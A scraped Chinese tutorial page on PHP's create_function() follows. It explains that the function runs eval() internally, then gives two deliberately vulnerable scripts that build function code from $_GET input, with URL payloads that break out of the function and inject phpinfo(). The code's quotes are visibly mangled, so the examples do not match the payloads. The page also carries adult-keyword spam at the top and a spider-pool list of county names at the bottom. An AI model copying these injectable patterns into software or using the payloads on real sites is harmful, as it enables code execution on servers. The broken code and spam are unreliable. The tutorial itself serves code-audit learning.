国产成人精品亚洲777人妖,欧美日韩精品一区视频,最新亚洲国产,国产乱码精品一区二区亚洲

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

PHP create_function()函數(shù)應(yīng)用實(shí)例詳解

瀏覽:121日期:2022-06-06 09:53:37
目錄
  • 前言
  • create_function()簡(jiǎn)介
  • 函數(shù)功能
  • 代碼注入實(shí)例
    • 0x01
    • 0x02

前言

一直遇到過(guò)這個(gè) 函數(shù),但是不知道怎么利用 這回學(xué)習(xí)一下這個(gè)函數(shù)

create_function()簡(jiǎn)介

適用 PHP4>4.0.1 PHP 5 PHP7

語(yǔ)法:
create_function(string $args, string $code)
string $args 聲明的函數(shù)變量部分
string $code 執(zhí)行的方法代碼部分

函數(shù)功能

<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>

分析:

create_function() 會(huì)創(chuàng)造一個(gè)匿名函數(shù) (lambda樣式) 此處創(chuàng)建了一個(gè)叫 lamvda_1 的函數(shù), 在第一個(gè) echo 中 顯示名字, 并在第二個(gè)echo 語(yǔ)句中執(zhí)行了 此函數(shù)。

create_function() 函數(shù) 會(huì)在內(nèi)部 執(zhí)行 eval() , 我們發(fā)現(xiàn)是執(zhí)行了 后面的 return 語(yǔ)句,屬于create_function() 中的第二個(gè)參數(shù) string $code 的位置

因此,上述匿名函數(shù)的創(chuàng)建與執(zhí)行過(guò)程等價(jià)于:

<?phpfunction lambda_1($a,$b){    return "ln($a) + ln($b) = " . log($a * $b);}?>

create_function( ) 函數(shù)在代碼審計(jì)中,主要用來(lái)查找項(xiàng)目中的代碼注入和回調(diào)后門(mén)的情況,熟悉了執(zhí)行流程, 可以實(shí)現(xiàn)對(duì)代碼注入的 payload 構(gòu)造,從而 進(jìn)行漏洞挖掘和找出存在缺陷

代碼注入實(shí)例

0x01

<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實(shí)際的組合過(guò)程:

$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*

匿名函數(shù)實(shí)際的執(zhí)行:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

0x02

<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實(shí)際的組合過(guò)程:

$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數(shù)實(shí)際的執(zhí)行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

換行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

到此這篇關(guān)于PHP create_function()函數(shù)應(yīng)用實(shí)例詳解的文章就介紹到這了,更多相關(guān)PHP create_function()函數(shù)內(nèi)容請(qǐng)搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
主站蜘蛛池模板: 浪卡子县| 建平县| 宣化县| 吉林市| 凌海市| 澄江县| 旅游| 兰西县| 靖宇县| 乌兰察布市| 凤山县| 金阳县| 泰和县| 海原县| 邵武市| 夹江县| 扎兰屯市| 桃园市| 大足县| 营口市| 宿迁市| 定南县| 牡丹江市| 宿松县| 炉霍县| 肃北| 阜康市| 加查县| 正镶白旗| 普兰县| 郯城县| 双鸭山市| 瓮安县| 金乡县| 中阳县| 玉环县| 绍兴县| 文化| 加查县| 邓州市| 民权县|